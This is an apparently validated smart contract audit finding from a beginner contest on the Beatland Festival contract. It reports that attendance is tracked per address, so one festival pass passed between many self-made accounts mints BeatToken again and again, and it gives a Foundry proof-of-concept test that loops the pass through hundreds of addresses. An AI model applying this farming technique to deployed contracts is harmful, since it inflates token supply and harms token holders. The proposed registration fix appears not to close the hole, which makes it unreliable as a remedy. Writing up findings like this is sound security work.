Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

One user can attend a performance multiple times with one ticket causing BeatToken minting inflation

One user can attend a performance multiple times with one ticket causing BeatToken minting inflation

Description: The function attendPerformance gives the possibility to the user to attends a performance with the following code.

function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

When the user attend the performance the mapping hasAttended is set to true so that the user can't come back again. and then beatToken are minted
The problem is that an user can create multiple account and pass their nft to the others accounts that his created over and over again.
Impact:
If an user can pass their nft ticket to anyone after attending to performance and they can call attendPerformance function, an user can create multiple adddresses at once and pass his nft ticket to all the account that his created to earn more BeatToken that he/she suppose to, causing a minting inflation of the beatToken that could be reuse for anything, selling them for example.

Proof of Concept:
Put the following code into the test file :

function test_multiple_performance() public {
address randomUser = vm.addr(1);
address nextUser = vm.addr(2);
// buy ticket
vm.prank(user1);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
// Start performance
uint256 startTime = block.timestamp + 1 hours;
vm.prank(organizer);
uint256 perfId = festivalPass.createPerformance(startTime, 2 hours, 100e18);
vm.warp(startTime + 30 minutes);
// user1 attend the performance
vm.startPrank(user1);
vm.expectEmit(true, true, true, true);
emit Attended(user1, perfId, 100e18);
festivalPass.attendPerformance(perfId);
assertEq(beatToken.balanceOf(user1), 100e18);
//Give his ticket to a random Account that his created
festivalPass.setApprovalForAll(randomUser, true);
festivalPass.safeTransferFrom(user1, randomUser, 1, 1, "");
assertEq(festivalPass.balanceOf(randomUser, 1), 1);
vm.stopPrank();
// then create a loop where randoms accounts take the same nft ticket and attend the performance.
// send the beatToken back to user1, back and forth
for(uint i = 3; i < 1000; i = i + 2) {
vm.startPrank(randomUser);
festivalPass.attendPerformance(perfId);
beatToken.transfer(user1, 100e18);
vm.deal(randomUser, 0.01 ether);
festivalPass.setApprovalForAll(nextUser, true);
festivalPass.safeTransferFrom(randomUser, nextUser, 1, 1, "");
vm.stopPrank();
randomUser = vm.addr(i);
vm.startPrank(nextUser);
festivalPass.attendPerformance(perfId);
beatToken.transfer(user1, 100e18);
vm.deal(nextUser, 0.01 ether);
festivalPass.setApprovalForAll(randomUser, true);
festivalPass.safeTransferFrom(nextUser, randomUser, 1, 1, "");
vm.stopPrank();
nextUser = vm.addr(i + 1);
}
//Greater than 10000e18 with one ticket bought
assertGt(beatToken.balanceOf(user1), 10000e18);
}

Recommended Mitigation:

The developper can do the following to resolve the problem.

  1. Create a mapping like that : mapping(uint256 => mapping(address => uint16)) public hasAttended

  2. Create 3 constant :

    1. uint16 constant NOTREGISTERED = 0;

    2. uint16 constant HASNOTINTENDED = 1;

    3. uint16 constant HASINTENDED = 2;

  3. Create a function register before attending

    function registerPerformance(uint256 performanceId) external {
    hasAttended[performanceId][msg.sender] = HASNOTINTENDED;

4. add to the function attendPerformance thefollwing lines:

  1. require(hasAttended[performanceId][msg.sender] != NOTREGISTERED && hasAttended[performanceId][msg.sender] != HASINTENDED)

  2. hasAttended[performanceId][msg.sender] = HASINTENDED

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.